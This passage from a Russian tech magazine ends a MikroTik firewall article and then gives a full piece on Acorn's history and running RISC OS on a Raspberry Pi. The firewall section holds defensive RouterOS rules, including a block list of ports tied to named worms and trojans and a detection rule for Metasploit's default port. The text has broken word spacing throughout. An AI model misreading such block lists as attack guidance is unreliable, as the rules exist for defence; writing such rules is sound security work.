• мы часть DoS‐ или ино го бот нета;
• мы рас сыла ем спам;
• с наших адрес  ов брут форсят чужие сер висы;
• мы нарушае  м авторс  кие пра ва (раз даем торр  енты).

Нек  ото рые  читател  и  этой  статьи  впол не  могл  и  участ  во вать  в  DDoS‐бот нете,
сами  того  не  осоз навая.  Ата ки  UDP  Amplification  основ  аны  на  некор рект  ных
нас трой ках сер висов, когд  а можн  о обрат  ить ся к ним с просьб  ой узнать что‐то
у дру гого сер вера. Нап ример, к нам может прил  ететь DNS‐зап рос с прось бой
отрез  ол вить  адрес  жер твы.  И  таких,  как  мы,  мил лионы.  Ког да  к  жер тве  пос‐ 
тупит  мил лион  пакетов  в  секунд  у,  она  не  обрад  ует ся,  а  мы  уви дим  заг рузку
CPU под 100%, жут кие торм  оза и однажды окаж  ем ся в блек‐лис те. Такая же
схе ма работа ет и с друг  ими UDP‐сер висами, нап ример NTP. Вывод прост  ой:
бло кируй тра фик к этим сер висам снар  ужи. Но это все еще про INPUT.

Не  толь ко  роутер  может  быть  частью  такого  бот нета,  но  и  машины  внут ри
сети. Для детек та таких хост  ов вос польз  уем ся уже извес тной фичей connec‐

tion limit.

/ip firewall filter 
add action=add‐src‐to‐address‐list address‐list=dns‐flood address‐
list‐timeout=none‐dynamic chain=forward comment="DNS Flood" connec‐
tion‐limit=100,32 dst‐port=53 in‐interface‐list=LAN protocol=udp 
add action=add‐src‐to‐address‐list address‐list=smb‐flood address‐
list‐timeout=none‐dynamic chain=forward comment="SMB Flood" connec‐
tion‐limit=100,32 dst‐port=445 in‐interface‐list=LAN protocol=tcp  
add action=add‐src‐to‐address‐list address‐list=telnet‐flood address‐
list‐timeout=none‐dynamic chain=forward comment="Telnet Flood" con‐
nection‐limit=20,32 dst‐port=23 in‐interface‐list=LAN protocol=tcp 
add action=add‐src‐to‐address‐list address‐list=ssh‐flood address‐
list‐timeout=none‐dynamic chain=forward comment="SSH Flood" connec‐
tion‐limit=20,32 dst‐port=22 in‐interface‐list=LAN protocol=tcp 
add action=add‐src‐to‐address‐list address‐list=snpp‐flood address‐
list‐timeout=none‐dynamic chain=forward comment="SNPP Flood" connec‐
tion‐limit=20,32 dst‐port=444 in‐interface‐list=LAN protocol=tcp 
add action=add‐src‐to‐address‐list address‐list=msf‐indication ad‐
dress‐list‐timeout=none‐dynamic chain=forward comment="Metasploit 
Indication" connection‐limit=20,32 dst‐port=4444 in‐interface‐list=
LAN protocol=tcp 

Слишк  ом «тол стые» потоки тоже могут вызывать подоз рения. Залогир  уем их:

add action=log chain=forward comment="Abnormal Traffic" connection‐
bytes=80000000 in‐interface‐list=LAN log‐prefix=Abnormal‐Traffic 

По порт  у наз начения мож но опре делить, к какому сер вису обра щают ся хост  ы
изнутри нашей сети. И если это обще извест  ный порт, напр  имер СУБД, а все
наши базы расп  оложе ны внут ри перимет ра, логич но пред положить, что сот ни
пакетов  в  секун ду  к  этом  у  порт  у  в  интернет  е  с  компь ютер  а  бухг  алтер  а  —
не прос тая ошибк  а и не личн  ый инте рес самого бухг  алте ра. Дро паем подоз‐ 
рительн  ые пакеты и возв  ра щаем ся в родительс  кую цепочк  у (пос леднее пра‐ 
вило):

add action=jump chain=forward comment="Jump to Virus Chain" disabled=
no jump‐target=Virus 
add action=drop chain=Virus comment="Drop Blaster Worm" disabled=no 
dst‐port=135‐139 protocol=tcp 
add action=drop chain=Virus comment="Drop Blaster Worm" disabled=no 
dst‐port=445 protocol=tcp 
add action=drop chain=Virus comment="Drop Blaster Worm" disabled=no 
dst‐port=445 protocol=udp 
add action=drop chain=Virus comment="Drop Messenger Worm" disabled=no 
dst‐port=135‐139 protocol=udp 
add action=drop chain=Virus comment=Conficker disabled=no dst‐port=
593 protocol=tcp 
add action=drop chain=Virus comment=Worm disabled=no dst‐port=1024‐
1030 protocol=tcp 
add action=drop chain=Virus comment="ndm requester" disabled=no dst‐
port=1363 protocol=tcp 
add action=drop chain=Virus comment="ndm server" disabled=no dst‐port
=1364 protocol=tcp 
add action=drop chain=Virus comment="screen cast" disabled=no dst‐
port=1368 protocol=tcp 
add action=drop chain=Virus comment=hromgrafx disabled=no dst‐port=
1373 protocol=tcp 
add action=drop chain=Virus comment="Drop MyDoom" disabled=no dst‐
port=1080 protocol=tcp 
add action=drop chain=Virus comment=cichlid disabled=no dst‐port=1377 
protocol=tcp 
add action=drop chain=Virus comment=Worm disabled=no dst‐port=1433‐
1434 protocol=tcp 
add action=drop chain=Virus comment="Drop Dumaru.Y" disabled=no dst‐
port=2283 protocol=tcp 
add action=drop chain=Virus comment="Drop Beagle" disabled=no dst‐
port=2535 protocol=tcp 
add action=drop chain=Virus comment="Drop Beagle.C‐K" disabled=no 
dst‐port=2745 protocol=tcp 
add action=drop chain=Virus comment="Drop MyDoom" disabled=no dst‐
port=3127‐3128 protocol=tcp 
add action=drop chain=Virus comment="Drop Backdoor OptixPro" disabled
=no dst‐port=3410 protocol=tcp 
add action=drop chain=Virus comment="Drop Sasser" disabled=no dst‐
port=5554 protocol=tcp 
add action=drop chain=Virus comment=Worm disabled=no dst‐port=4444 
protocol=tcp 
add action=drop chain=Virus comment=Worm disabled=no dst‐port=4444 
protocol=udp 
add action=drop chain=Virus comment="Drop Beagle.B" disabled=no dst‐
port=8866 protocol=tcp 
add action=drop chain=Virus comment="Drop Dabber.A‐B" disabled=no 
dst‐port=9898 protocol=tcp 
add action=drop chain=Virus comment="Drop Dumaru.Y" disabled=no dst‐
port=10000 protocol=tcp 
add action=drop chain=Virus comment="Drop MyDoom.B" disabled=no dst‐
port=10080 protocol=tcp 
add action=drop chain=Virus comment="Drop NetBus" disabled=no dst‐
port=12345 protocol=tcp 
add action=drop chain=Virus comment="Drop Kuang2" disabled=no dst‐
port=17300 protocol=tcp 
add action=drop chain=Virus comment="Drop SubSeven" disabled=no dst‐
port=27374 protocol=tcp 
add action=drop chain=Virus comment="Drop PhatBot, Agobot, Gaobot" 
disabled=no dst‐port=65506 protocol=tcp 
add action=drop chain=Virus comment="Drop MemCached flood" disabled=
no dst‐port=11211 protocol=udp 
add action=return chain=Virus comment="Return From Virus Chain" 
disabled=no 

ЗАКЛЮЧЕНИЕ
Мы  рас смот рели  более  прод винутые  методы  нас тройк  и  фай рво ла.  Эту
статью  не  нужн  о  вос при нимать  как  инст  рук цию  по  нас трой ке:  у  каж дой  сети
свои осо бен ности и серв  исы. Роуте ры у всех тоже раз ные — у кого‐то он спо‐ 
койн  о обра ботае  т тысячи неоп тимизир  ованн  ых прав  ил фай рво ла, для друг  их
сот ня  пра вил  будет  обра баты ватьс  я  с  тру дом.  Поэтом  у  под ходи  к  нас тройк  е
фай рво ла с умом.

В две статьи всё не вмест  ишь, и мы не зат ронули еще неск  ольк  о боль ших
тем: таб лицы NAT, RAW, IPv6 Firewall, Bridge Firewall, фильт  ра цию по конт  енту,
опред  еле ние  типа  траф  ика  по  его  содерж  имому  (когд  а  мы  меня ем  порт
у HTTP, а фай рвол все рав но понимае  т, что внут ри HTTP), прок сирован  ие тра‐ 
фика.

Все  эти  темы  расс  мат риваю  тся  в  офи циаль ном  обуч  ающем  курс  е
MikroTik — MikroTik Certified Traffic Control Engineer. Но чтоб  ы на него попасть,
нуж но  пройт  и  курс  MikroTik  Certified  Network  Associate,  где  изуч  ают ся  общие
прин ципы нас трой ки роутер  а и работа TCP/IP.

WWW

Уз нать  больш  е  о  курс  ах  (и  записать ся  на  них)
мож но:
•на мо ем сай те
•на сайт  е MikroTik

GEEK

RISC

БЕЗ РИСКА

СТАВИМ RISC OS
НА RASPBERRY PI,
ЧТОБЫ ПРИКОСНУТЬСЯ
К ИСТОРИИ

Валентин Холмогоров
[email protected]

Для Raspberry Pi и его мног  очис ленных клон  ов адапт  ирова но
мно жест  во  опер  ацио  нных  сист  ем  —  одних  толь ко  вер сий
«Линук са»  нас читыва ется  больш  е  полутор  а  десят ков.
Но  есть  в  этом  ряду  ори гинальн  ая  и  почт  и  забытая  ОС,
получивш  ая  с  широким  расп  ростран  ени ем  «малинок»  вто‐ 
рой шанс возр  одитьс  я из небытия. Речь о RISC OS — плат‐ 
форме  с  брит  ан ским  акцентом  родом  из  восьм  идеся тых,
которую  когд  а‐то  созд  али  сами  разр  аботч  ики  архи тек туры
ARM.

КАК ВСЕ НАЧИНАЛОСЬ
Скром ная кем бридж ская комп  ания Acorn с самых перв  ых дней свое  го сущес‐ 
тво вания  подв  ерга лась  жес точай шему  пресс  ингу  со  стор  оны  фирм  —  про‐ 
изво дител  ей серий ных перс  ональн  ых компь юте ров. Осно ван ная в 1978 году
Герм  аном  Хаузер  ом  и  Крис  ом  Кар ри,  на  пер воначаль ном  эта пе  свое  го  раз‐ 
вития  Acorn  выпус тила  в  общей  сложн  ости  все го  лишь  пять сот  тысяч  ПК,
больш  ая часть которых была про дана в Великобр  итании, Ирландии и Итал  ии.
Зна чительн  ое количес тво этих машин пос тупило в бри тан ские шко лы в качес‐ 
тве наг лядных пособий для изуч  ения прин ципов работы с пер соналк  ами.

При мечат  ельн  о, что эта комп  ания стал  а в ито ге одной из немн  огих фирм,
которые,  подобн  о  Apple,  соз давали  свои  компью  те ры  полн  остью  —  от  про‐ 
цесс  оров и перифер  ийн  ых устройс  тв до опе раци онной сис темы и прик ладно‐ 
го софт  а.

INFO

До момен та основ  ания Acorn Крис Карр  и работал
над  соз дание  м  ком плек та  для  сборк  и  мик‐ 
рокомпь юте ра  с  Клай вом  Синк  ле ром,  автор  ом
леген дарно го  компью  тер  а  Sinclair  ZX  Spectrum.
Однак  о сэр Клайв не проя  вил желания раз вивать
дальш  е  это  нап равле ние,  в  то  врем  я  как  биз‐ 
несом  заин тересов  ал ся  друг  Карр  и  Гер ман
Хаузер, который и стал соуч редител  ем Acorn.

Наз вание  было  выб рано  по  двум  прич  инам:
во‐перв  ых,  желудь  симв  олизир  овал  нап равлен‐ 
ность ком пании на рост и раз витие, а во‐вто рых,
Acorn  зна чил ся  в  алфав  ит ном  телефонн  ом  спра‐ 
вочн  ике раньш  е Apple Computers.

К  началу  восьм  идесят  ых  годов  фак тичес ки  все  школ  ы  Великоб ритании  были
обо рудо ваны  компь юте рами  Acorn.  Одним  из  пер венцев  ста ла  машина
с незатейл  ивым назв  ание  м Micro, которую Acorn разр  аботал  а по заказу ком‐ 
пании British Broadcasting Corporation (BBC). Чуть поз же инжен  еры Acorn соз‐ 
дали аль терн  ативу этой машине под наз вание  м Electron. По больш  ому сче ту
это была бюд жетная верс  ия BBC Micro, обо рудо ван ная 32 Кбайт опе ратив ки
и  про цес сором  MOS  6502.  Имен но  с  помощью  Electron  англий ские  школь‐ 
ники начала 1980‐х изуч  али азы прог раммир  ова ния с исполь зование  м встро‐ 
енно го  бей сика.  Electron  позв  олял  загр  ужать  и  записы вать  прогр  аммы
на обычн  ый маг нитофон, а вмест  о монитор  а использ  овал ся бытовой телеви‐ 
зор.  Благ  ода ря  отно сительн  о  невысо кой  стои  мост  и  и  отличным  харак терис‐ 
тикам  Acorn  Electron  быс тро  заво евал  популяр ность  у  польз  овате лей,  сос‐ 
тавив дос тойн  ую кон курен цию ZX Spectrum.

Компь ютер Acorn Electron — один из наибол  ее популярн  ых ПК от Acorn

Перв  ая опе рацио  нная сис тема, пред назнач  енн  ая для использ  ования на пер‐ 
сональн  ых  компь ютер  ах  Acorn,  была  кло ном  плат формы  MOS,  выпущенн  ой
в 1983 году той же комп  ание  й BBC. Acorn прио  брел у BBC лицен зию на даль‐ 
нейшую  разр  абот ку  и  экс плу ата цию  этой  сист  емы,  благ  ода ря  чему  прог‐ 
раммист  ы получил  и в свое рас поряже ние исходник  и ядра MOS и неск  ольк  их
базовых  утил  ит.  Они  мог ли  не  тольк  о  адап тировать  их  под  собст  вен ное
железо, но и соверш  енс твов  ать софт по сво ему усмотре нию, что стал  о неп‐ 
лохим  подс  порь ем  в  про ектир  ован  ии  опе раци онки.  Однак  о  8‐бит ные  про‐ 
цес соры  уже  не  удовл  етво ряли  техн  ическ  им  вызовам  того  вре мени,  нас тал
момент штурм  овать новые горизонт  ы.

ARCHIMEDES
По явлен  ие архит  ек туры RISC поз волило мног  им ком пани ям, в числ  е которых
были  гиган ты  вро де  IBM  и  Sun,  созд  авать  про цес соры  нового  поколе ния.
Отме тилась в ряду про извод  ител  ей и более скром ная Acorn. Ком пания сфор‐ 
мирова ла  для  этих  целей  отдельн  ое  подр  аздел  ение  —  Advanced  RISC  Ma‐
chines  (ARM).  А  разр  абот кой  и  раз витие  м  опе раци онной  сист  емы  под  про‐ 
цесс  оры ARM занялось дру гое под разде ление комп  ании — Acorn RISC Tech‐
nologies (ART).

Но вым  флаг маном  комп  ании  стал  ПК  Acorn  Archimedes,  анон сирован ный
в  1987  году.  Эти  машины  были  оснащ  ены  32‐бит ным  про цесс  ором  ARM3,
фун кци они ровавш  им  на  част  отах  до  25  МГц.  Они  поз воляли  отоб ражать
на  экран  е  гра фику  с  раз решени ем  до  800  ×  600  точек  с  цве товой  палит рой
до 256 цве тов, выводить 8‐бит ный сте реозв  ук по восьм  и раз личным каналам
и  ком плек товались  4  Мбайт  опер  ативн  ой  памяти  (до  16  Мбайт  в  более  поз‐ 
дних модифи каци ях).

Компью  тер Acorn Archimedes — машина из вось мидеся тых с 32‐раз ‐
рядным про цес сором ARM

По  про изво дительн  ост  и  и  техн  ичес ким  характ  ерист  икам  «Архим  ед»  от  Acorn
лег ко уде лывал бы безр  аздельн  о царс твов  ав ший тог да на рынк  е IBM PC 386,
если бы не одно но. Для мощн  ой машины с 32‐разр  ядным про цес сором тре‐ 
бовал  ась  соот ветст  вую  щая  опер  аци онная  сист  ема,  которая  мог ла  бы  адек‐ 
ватно использ  овать все име ющиеся в ее рас поряжен  ии аппа рат ные ресур сы.
Однак  о  к  тому  момент  у  отдел  кор порации,  занима ющий ся  прои  зводс твом
софт  а,  уже  пол ностью  исчерпал  отвед  енн  ый  ему  для  дан ных  целей  бюдж  ет,
и  вмест  о  пол ноценн  ой  мног  озад  ач ной  ОС  с  окон ным  граф  ическ  им
интерфейс  ом  поль зовате ли  получи ли  ее  одноз  адач ную  и  не  слишк  ом  удоб‐ 
ную в работе замену, которую раз работ чики наз вали Arthur OS.

Arthur OS (сверх  у) и Microsoft Windows 1.0 (сниз  у) — най ди десять отли ‐
чий

Вре мя шло, и на горизонт  е замая  чи ла перс  пек тива запус ка в серий ное про‐ 
изводст  во нового, более совер шенног  о поколе ния наст  ольн  ых компью  те ров
Acorn  —  RiscPC.  Намечал ся  весьм  а  ощу тимый  раз рыв  межд  у  стрем  итель но
рас тущими воз можнос тями железа и никак не успе вающим за ним сист  емным
прогр  ам мным  обесп  ечени ем.  Прогр  аммист  ы  Acorn  ста ли  в  ударн  ых  тем пах
навер стыв  ать упущ  ен ное, соверш  енс твуя, отлаж  ивая, допили вая и дописыв  ая
Arthur  OS.  Так  появи лась  на  свет  RISC  OS  —  сист  ема,  под  управле нием
которой  работал  и  пос ледние  поколен  ия  Archimedes  и  более  прод винутые
ARM‐пер сонал ки RiscPC от Acorn.

RISC OS
Ви димо,  вдохн  овив шись  творч  ес твом  Джор джа  Лукаса,  который  начал  сни‐ 
мать «Звезд  ные войн  ы» сра зу с чет вертог  о эпи зода, в1989 году Acorn выпус‐ 
тила вто рую верс  ию RISC OS, минуя пер вую. Эта сис тема выш ла как обновле‐ 
ние  для  Arthur  OS,  однак  о  она  стал  а  зна чительн  ым  шагом  впе ред  по  срав‐ 
нению с пред  ыдущ  ей плат формой Acorn. Прежд  е всег  о потому, что обла дала
пол ноцен ным, хорошо про думанн  ым окон ным интерфейс  ом и подд  ержи вала
мно гозад  ачн  ый  режим.  Тем  не  менее  в  качест  ве  ядра  этой  опер  аци онной
сис темы все еще исполь зовалось ядро Arthur OS, базиру ющееся на сист  еме
команд  MOS.  Лишь  с  появл  ени ем  в  1991  году  RISC  OS  3,  призв  анной  стать
пол ноцен ным  анал  огом  Microsoft  Windows  3.1  для  компью  те ров  Acorn,  прог‐ 
раммис там этой комп  ании удал  ось созд  ать что‐то по‐нас тоящем  у свое.

Инт  ерфейс RISC OS 3 был доволь но прос тым и лаконич ным. Рас положен‐ 
ная  в  нижн  ей  час ти  экра на  панель  задач  выполн  яла  вполн  е  тра дицио  нные
для нее фун кции: на ней отобр  ажались значк  и всех запущен ных прил  оже ний
и  активных  диск  овых  накопи телей,  дос туп  к  сист  емно му  меню  открыв  ал ся
при  нажатии  мышью  на  рас положенн  ый  справ  а  знач  ок  желудя  —  логотип  а
кор порации Acorn. А вот элем  ен ты управле ния окнам  и имел  и нес тандар тное
наз начение:  кноп ка,  рас положен ная  в  вер хнем  левом  углу  окна,  делала  окно
неакт  ивным, разм  ещая его позади всех остальн  ых окон, но не закр  ывая его.
Кнопк  а с изоб ражени ем нак лонно го крест  а закр  ывае  т окно, но не обя затель‐ 
но исполь зующее его при ложе ние (эту идею разр  абот чики, видимо, поза имс‐ 
тво вали у macOS). И наконец, кнопк  а, расп  оложен ная в прав  ом вер хнем углу,
управляе  т  разм  ерами  окон,  поз воляя  разв  орачи вать  их  во  весь  экран
или  мас штаб  иро вать  до  гран  иц,  уста нов ленных  поль зовате лем  с  помощью
мыши в прош лый раз.

RISC OS 3: еще не Windows, но уже что‐то

Раб  очий  стол  RISC  OS  3  вклю чал  знач ки  управлен  ия  нас трой ками  сист  емы,
конф  игура ции  интерфей са  и  вызова  справ  очн  ой  служб  ы.  Прогр  аммы,  ана‐ 
логичн  ые  про вод нику  Windows  или  утил  ите  Finder  macOS,  в  RISC  OS  отсутс‐ 
тво вали,  навигац  ия  по  фай ловой  сис теме  была  реали зова на  прим  ерн  о  так
же,  как  в  Windows  3.1,  —  с  помощью  окна  спец  иальн  ой  «ком мутаци онной
панели», содер жащей пап ки и ярлы ки хран  ящихс  я на диск  ах файл  ов. Отсутс‐ 
тво вала так же и корз  ина.

В  1994  году  на  рынк  е  появи лась  оче редн  ая  модифик  ация  опер  ацио  нной
сист  емы — RISC OS 3.5, чуть позж  е были выпущен  ы RISC OS 3.6 и 3.7, однак  о
все  пос леду ющие  реали зации  плат формы  особ  о  не  отли чались  от  треть ей
вер сии RISC OS ни в архи тек турном, ни в дизайн  ерс  ком план  е.

Все  резк  о  измен  илось,  когд  а  в  1997  году  Acorn  анон сирова ла  ожи‐ 
дающий ся  в  недалек  ом  будущем  выпуск  RISC  OS  4.0.  Эта  плат форма  обла‐ 
дала  уже  пол ноцен ным  граф  ичес ким  интерфей сом,  спо соб ным  работать
на всех экранных разр  ешения  х, дос тупных для компь юте ров Acorn, с высоким
количес твом  цве тов  сист  емной  палит ры,  и  отлич  алась  прекр  асно  выпол‐ 
ненным  псевд  отрех мерным  офор мле нием.  RISC  OS  4  под держи вала  тех‐ 
нологии  мульт  имедиа,  работу  с  интернет  ом,  поз воляла  подк  лю чать  компь‐ 
юте ры  Acorn  к  локаль ной  сети.  Новая  верс  ия  была  пол ностью  сов местим  а
с  пре дыдущ  ими  реализ  ация  ми  RISC  OS,  что  поз воляло  польз  овате лям  миг‐ 
рировать  с  ранн  их  верс  ий  опер  аци онных  сис тем  Acorn  на  RISC  OS
4  без  замены  прик ладно го  прог рамм  но го  обес печения.  В  сост  аве  ОС
появил ся  удобн  ый  дис ковый  менедж  ер,  с  помощью  которо го  поль зователь
мог без труд  а обращ  ать ся к хра нящимс  я на компь ютер  е данн  ым, и коман дная
кон соль,  подоб ная  тер миналу  в  *nix.  Прог рамм  ные  эму лято ры  поз воляли
запус тить  на  компь ютер  ах  Acorn  прил  ожен  ия  MS  Windows  и  даже  некотор  ые
прогр  аммы для macOS.

RISC OS 4 выгл  ядит футурист  ично для сво его вре мени

Одн  ако  к  середи не  девянос тых  польз  овате ли  стал  и  отда вать  предп  очте ние
более  дешевым  и  дос тупным  ПК  на  осно ве  архи тект  уры  IBM  PC.  Мно жест  во
ком паний по всем  у свет  у налади ли выпуск недорог  их IBM‐совм  естим  ых ком‐ 
плек тующих,  что  такж  е  сраб  ота ло  на  популярн  ость  плат формы.  В  кон курен‐ 
тной борьб  е с Intel и IBM смогл  а выжить разв  е что Apple, ушед шая в узкоспе‐ 
циализ  иро ван ный  пот ребительс  кий  сегм  ент  компью  тер  ов  для  изда телей,
дизай неров  и  музыкант  ов.  Для  Acorn  под ходящей  рыноч ной  ниши  не  наш‐ 
лось.

Ока зав шись  вытес ненной  с  рынк  а  пер соналок,  Acorn  перек лючилась
на  друг  ие  сфер  ы  техн  ологий:  в  част  ност  и,  подр  аздел  ение  ARM,  занимав‐ 
шееся раз работ кой и выпус ком про цес соров, прев ратилось в самос тоятель‐ 
ную  быст  ро  раст  ущую  ком панию.  В  1998  году  все  про екты  корп  орации,  свя‐ 
занн  ые  с  про изводст  вом  перс  ональ ных  компью  тер  ов,  были  оконч  атель но
сверн  уты,  и  эво люция  опер  ацио  нных  сист  ем  семейс  тва  RISC  на  этом  прек‐ 
ратилась.  Казалось  бы,  конец  истор  ии.  Если  бы  не  появ ление  одноплат ных
компь юте ров, исполь зующих в свое  й основ  е чипы ARM.

ВТОРОЕ ДЫХАНИЕ
В  2010‐х  «одноплат ники»  про изве ли  в  мире  IT  прим  ер но  такую  же  револю‐ 
цию, какую учи нил в начале 1980‐х ZX Spectrum и подоб ные ему порт  атив ные
перс  онал ки,  открыв шие  дос туп  к  компью  терн  ым  техн  ологи ям  кажд  ому  обы‐ 
вате лю. На базе Raspberry Pi, Orange Pi, Banana Pi и про чих фрукт  ово‐ягод ных
издел  ий  элект  ронн  ой  пром  ыш леннос ти  ста ли  возн  икать  мног  очисл  енные
про екты игро вых кон солей, умных домов, мобильн  ых роботов, меди ацент  ров,
сетевых  хран  илищ  и  мини‐серв  еров.  Разумее  тся,  одной  из  пер вых  ОС
под Raspberry Pi стал Linux, уже име ющий порт  ирован ные ARM‐верс  ии. И тут
общес твен ность  наконец  вспом нила  о  RISC  OS,  которая  мало  того  что
с  самого  начала  разр  абатыв  алась  для  про цес соров  ARM,  так  и  написан  а
по больш  ому счет  у ком пание  й — разр  абот чиком этих проц  ес соров.

Еще в 2006 году фир ма Castle Technologies, которой по нас ледст  ву переш‐ 
ли пра ва на RISC OS от Acorn, решила открыть для некомм  ерческ  ого исполь‐ 
зования  ряд  комп  онент  ов  сис темы,  ради  чего  был  созд  ан  прое  кт  RISC  OS
Open  Limited.  На  осно ве  этих  исходник  ов  в  2012  году  собр  али  перв  ую
рабочую вер сию RISC OS для Raspberry Pi.

Пос коль ку  RISC  OS  —  это  нативн  ая  для  ARM  опер  ацио  нная  сис тема,
основное ее пре имущ  ест  во закл  юча ется в быст  рой заг рузке и высоком быс‐ 
тро дей ствии  на  «малинк  е»  по  сравн  ению  с  друг  ими  пор тированн  ыми  плат‐ 
форма ми. При этом архит  ект  ура RISC OS име ет нес коль ко характ  ерных осо‐ 
бенн  остей:
• ОС пост  ро ена на принц  ипе коопер  атив ной мно гоза дач ности;
• в фай ловой сис теме все файл  овые объ екты пред став ляют собой отдель‐ 

ные тома;
• ар хитек тура  при ложе ний  поз воляе  т  менять  поведе ние  сист  емы  с  исполь‐ 

зовани ем разл  ичных модулей;
• са ма ОС сост  оит из таких модулей, которые под ключ  ают ся по мере необ‐ 

ходимос ти.
Мо дули  могут  играть  роль  и  комп  онен тов  самой  ОС,  и  драйв  еров,  и  биб‐ 
лиотек,  и  поль зовательс  ких  прил  оже ний.  Сист  емные  вызовы  к  ним  реали‐ 
зован  ы с помощью прог рам мных пре рыва ний. Из объ ективных минусов RISC
OS след  ует отмет  ить механизм раз гра ничен  ия прав поль зовател  ей… потому
что  его  там  попр  осту  нет.  Все  юзе ры  логинят ся  в  сис тему  и  запус кают  при‐ 
ложен  ия от имен  и супер поль зовате ля, и сде лать с этим ничего нель зя.

Ус тановк  а  RISC  OS  на  Raspberry  Pi  не  пред став ляет  серь езных  слож‐ 
ностей  и  в  целом  ана логич на  про цеду ре  инсталл  яции  Raspbian:  образ  сис‐ 
темы  раз ворачив  ает ся  на  miniSD‐кар ту,  посл  е  чего  «малин ку»  можн  о  запус‐ 
тить уже с нее. Интерфейс RISC OS Pi остался неизм  енным с самого начала
девянос тых,  что  обя затель но  пораду ет  ност  альг  ирую  щих  олдфа гов,  осталь‐ 
ным  же  он  может  показать ся  неск  оль ко  непр  ивычн  ым.  С  дру гой  сто роны,
лаконичн  ый интерфейс не треб  ует серье  зных аппа рат ных ресур сов, что мож‐ 
но отнести к дос тоинс твам.

RISC OS на Raspberry Pi

Конт  екст  ное  меню  здесь,  нап ример,  вызыва ется  нажатие  м  не  пра вой  кла‐ 
виши  мыши,  а  колесик  а  или  сред ней  кнопк  и,  у  кого  она  есть.  Прав  ая  кноп ка
исполь зует ся  для  допол нитель ных  дей ствий,  завися щих  от  при ложен  ия.
Некото рые  прог раммы  запус кают ся  свер нутыми  в  трей,  а  чтоб  ы  разв  ернуть
окно,  пот ребуе  тся  восп  оль зоватьс  я  конт  екст  ным  меню.  В  RISC  OS  очень
широко  использ  ует ся  перетаск  ивание  объ ектов,  а  переда ча  фокуса
в какое‐либо окно не озна чает, что оно неп ременн  о отоб разит ся поверх дру‐ 
гих  окон:  нап ример,  польз  ователь  может  набирать  что‐то  в  раз вернут  ом
на задн  ем пла не текс  то вом редакт  оре, поверх которог  о открыт  о окош ко бра‐ 
узе ра.

Нужн  о  отме тить,  что  в  RISC  OS  Pi  далеко  не  все  работае  т  из  короб ки  —
и это еще одно грус тное насл  едие девяност  ых. Посл  е уста нов ки ОС прид  ет ся
вос поль зоватьс  я знач ком Configuration и нас тро ить парамет ры рабоче го сто‐ 
ла, вклю чая количес тво цве тов и част  оту монитор  а. При мечат  ельн  о, что прос‐ 
то  указ  ать  нуж ное  экранное  раз решение  сис тема  не  позв  оляе  т.  Такж  е  при‐ 
дет ся  нас тро ить  парамет ры  подк  лю чения  к  сети  (для  этог  о  нуж но  перейт  и
в раз дел Configuration → Network → Internet).

Па ру слов след  ует ска зать об особ  ен ностях файл  овой сист  емы RISC OS,
которая  решитель но  отли чает ся  от  всег  о,  с  чем  я  сталк  ивал ся  раньш  е.
Как  уже  упо мина лось,  все  фай лы  и  папк  и  там  предс  тав лены  в  виде  томов,
при этом кор невая папк  а смон тирован ного диск  а обозн  ачае  тся зна ком дол‐ 
лара  ($).  Рас ширений  в  RISC  OS  нет  вовс  е,  а  для  того  что бы  отлич  ить  один
файл от друг  ого, использ  уют ся метадан ные. Для отде ления име ни файл  овой
сист  емы  от  остальн  ого  пути  служ  ит  дво еточ  ие,  а  папк  и  отде ляют ся  друг
от дру га точ кой. Поск  ольк  у точ ка уже зарезерв  ирован  а в син таксис  е сист  емы,
расш  ирения  фай лов,  соз данных  в  дру гих  ОС,  в  RISC  OS  записы вают ся
при  помощи  сле ша.  В  общем,  изуч  ение  струк туры  файл  овой  сис темы  RISC
OS — отличный спо соб слом  ать себе мозг.

Игр  ы и допол нитель ные прил  оже ния в RISC OS Pi

Имен  а  при ложен  ий  начинаю  тся  в  RISC  OS  с  воск  ли цательн  ого  зна ка,
при  этом  сами  прил  ожен  ия  физичес ки  пред ставл  яют  собой  том‐кон тейн  ер,
внут ри  которо го  хран  ит ся  и  сам  исполня емый  файл,  и  все  необ ходимые
для работы прогр  аммы ресурс  ы. Кстат  и, о прогр  аммах.

В  ком плект  е  пос тавки  RISC  OS  Pi  имее  тся  минималь ный  набор  прил  оже‐ 
ний,  вклю чающий  кальк  улятор,  ауди оред  ак тор,  при митивн  ый  тек стов  ый
редакт  ор,  бра узер  !NetSurf  и  нес коль ко  дру гих  утил  ит.  Спис  ок  осталь ного
дос тупно го  для  RISC  OS  соф та  можн  о  най ти  вот здесь.  Кро ме  того,  некото‐ 
рое количест  во прогр  амм предл  ага ется во встрое  нном магазин  е прил  ожен  ий
!Store  —  бесп  лат но  или  за  день ги.  Допол нитель ный  комп  лект  софт  а  мож но
отыск  ать на SD‐кар те в папк  е Diversions, которая содер жит пароч ку игр, вклю‐ 
чая  пась янс  «Косын ка»,  «Сапер»  и  дру гую  класс  ику.  Исходник  и  комп  онент  ов
ОС и ряда утил  ит есть на GitHub.

Ну надо же — здесь есть пась янс «Косын ка»!

ВМЕСТО ПОСЛЕСЛОВИЯ
Так  зачем  все‐таки  уста навл  ивать  RISC  OS  на  Raspberry  Pi?  Во‐пер вых,
это  прик  ольн  о.  Личн  о  мне  всег да  нрав  илось  изуч  ать  новые  и  незн  акомые
опер  ацио  нные  сист  емы,  а  RISC  OS  поз воляе  т  получить  соверш  енно  безум‐ 
ный опыт.

WWW

Боль шой объ ем полез ной информа ции о RISC OS
для  начина ющих  лежит  на  сай те  svrsig.org.  Здесь
соб раны отве ты прак тичес ки на все возн  ика ющие
у нович ков вопр  осы — правд  а, тольк  о на англий‐ 
ском язык  е.

Во‐вто рых,  можн  о  начать  прог рамми ровать  для  RISC  OS  Pi,  созд  авать
или  пор тировать  оконн  ые  при ложен  ия,  сов местим  ые  с  ее  граф  ичес кой  под‐ 
систем  ой WIMP. Это поможет в разв  итии про екта. Сей час для RISC OS име‐ 
ется  базовый  набор  соф та,  и  с  кажд  ым  днем  ассортим  ент  при ложен  ий  рас‐ 
ширяе  тся.  Самое  вре мя  при соедин  итьс  я.  Для  RISC  OS  мож но  писать  прог‐ 
раммы на C/C++ (с GCC), Charm, ARM BASIC и ARM Assembly.

Уже сейч  ас поль зователь RISC OS может редак тировать текс  ты, созд  авать
нес ложные  иллюс тра ции,  серф  ить  по  интерне ту,  писать  и  прин  имать  сооб‐ 
щения элек тронн  ой поч ты, загр  ужать и ска чивать файл  ы по FTP. К сожале нию,
нет  воз можнос ти  просм  атрив  ать  потоко вое  видео  из  сети,  но  зато  мож но
сох ранить ролики и прос мотреть их локаль но.

